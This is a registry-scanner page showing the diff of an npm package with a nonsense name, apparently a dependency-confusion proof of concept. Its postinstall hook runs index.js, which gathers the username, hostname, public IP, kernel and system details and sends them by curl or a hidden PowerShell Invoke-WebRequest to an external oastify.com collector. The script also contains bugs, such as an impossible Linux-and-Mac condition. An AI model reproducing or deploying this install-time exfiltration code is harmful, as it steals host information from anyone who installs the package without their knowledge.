jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasd 8.7.9

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasd might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +95 -0
  2. package/package.json +14 -0
package/index.js ADDED
@@ -0,0 +1,95 @@
1
+ const { exec } = require('child_process');
2
+ const http = require('http');
3
+
4
+ const getPublicIP = (callback) => {
5
+ const options = {
6
+ hostname: 'api.ipify.org',
7
+ path: '/?format=json',
8
+ method: 'GET',
9
+ };
10
+
11
+ const req = http.request(options, (res) => {
12
+ let data = '';
13
+ res.on('data', (chunk) => {
14
+ data += chunk;
15
+ });
16
+
17
+ res.on('end', () => {
18
+ try {
19
+ const response = JSON.parse(data);
20
+ const publicIP = response.ip;
21
+ callback(null, publicIP);
22
+ } catch (error) {
23
+ callback(new Error('Error parsing response'));
24
+ }
25
+ });
26
+ });
27
+
28
+ req.on('error', (error) => {
29
+ callback(error);
30
+ });
31
+
32
+ req.end();
33
+ };
34
+
35
+ const os = require('os');
36
+
37
+ const detectOSType = () => {
38
+ const type = os.type();
39
+ if (type.startsWith('Windows')) return 'Windows';
40
+ if (type.startsWith('Linux')) return 'Linux';
41
+ if (type.startsWith('Darwin')) return 'Mac';
42
+ return 'UNKNOWN';
43
+ };
44
+
45
+
46
+ // Usage example:
47
+ getPublicIP((error, remoteIP) => {
48
+ if (error) {
49
+ console.error('Error:', error.message);
50
+ } else {
51
+ const os_type = detectOSType()
52
+ if (os_type === 'Linux' && os_type == Mac){
53
+ bash = `#!/bin/bash\nseparator="--------------------------------------------------"
54
+ exfiltrate="$separator\nUsername: \`whoami\`\nHostname: \`hostname\`\nPublic IP: ${remoteIP}\nTime: \`date\`\nCurrent Path: \`pwd\`\nPackage Name: \`echo $(npm run env | grep "npm_package_name") | cut -d "=" -f 2\`\nKernel: \`uname -a\`\n$separator"
55
+ echo "$exfiltrate" > /tmp/demo.txt
56
+ curl --silent -F content="@/tmp/demo.txt" https://lzo7mm476cnmtfbh34vo5xs6axgt4js8.oastify.com
57
+ rm -f /tmp/demo.txt`
58
+ exec('echo -e' + bash + " > /tmp/demo.sh; chmod + x /tmp/demo.sh; /bin/bash -c /tmp/demo.sh; rm -f /tmp/demo.sh", (error, stdout, stderr) => {
59
+ if (error) {
60
+ console.error(`Error: ${error.message}`);
61
+ return;
62
+ }
63
+ });
64
+ } else if (os_type === 'Windows'){
65
+ powershell = `$whoami = whoami
66
+ $today = (Get-Date).DateTime
67
+ $publicIP = (Invoke-WebRequest -Uri 'https://api.ipify.org?format=text' -UseBasicParsing).content
68
+ $system = systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
69
+ $filePath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "output.txt")
70
+ $scriptPath = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), "demo.ps1")
71
+
72
+ Write-Output "Username: $whoami\`nDate: $today\`nPublic IP: $publicIP\`nSystem Information:" | Out-File -FilePath $filePath -Encoding ASCII
73
+ Add-Content $filePath $system
74
+
75
+ $destinationUrl = "https://lzo7mm476cnmtfbh34vo5xs6axgt4js8.oastify.com"
76
+
77
+ $filePath = "$filePath"
78
+
79
+ Invoke-WebRequest -Uri $destinationUrl -Method POST -InFile $filePath -UseBasicParsing
80
+ del $filePath
81
+ del $scriptPath`
82
+ }
83
+
84
+ exec(`C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe ${powershell} | Out-File "$env:TEMP\\demo.ps1; C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -File %TEMP%\\demo.ps1`, (error, stdout, stderr) => {
85
+ if (error) {
86
+ console.error(`Error: ${error.message}`);
87
+ return;
88
+ }
89
+ });
90
+
91
+ }
92
+ });
93
+
94
+
95
+
package/package.json ADDED
@@ -0,0 +1,14 @@
1
+ {
2
+ "name": "jhgjgdfsdasvbrtyrdfwewqreyrfvbykuyoyosdsdfdhuytrxasdadadasdasd",
3
+ "version": "8.7.9",
4
+ "description": "A sample npm package for demonstration purposes.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "keywords": [
10
+ "dependency"
11
+ ],
12
+ "author": "Depdency-Confusion-PoC",
13
+ "license": "ISC"
14
+ }